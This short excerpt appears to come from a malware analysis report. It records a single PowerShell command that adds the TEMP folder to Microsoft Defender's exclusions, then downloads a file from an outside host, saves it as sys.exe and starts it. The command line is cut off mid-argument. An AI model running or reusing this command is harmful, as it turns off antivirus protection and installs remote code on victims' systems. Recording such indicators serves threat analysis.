Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "$env:TEMP "; Invoke-WebRequest -Uri "https://sh4590209.c.had.su/files/sys.xfx" -OutFile $env:TEMP"\sys.exe"; Start-Process -FilePath $env:TEMP"\sys.exe" -Verb ...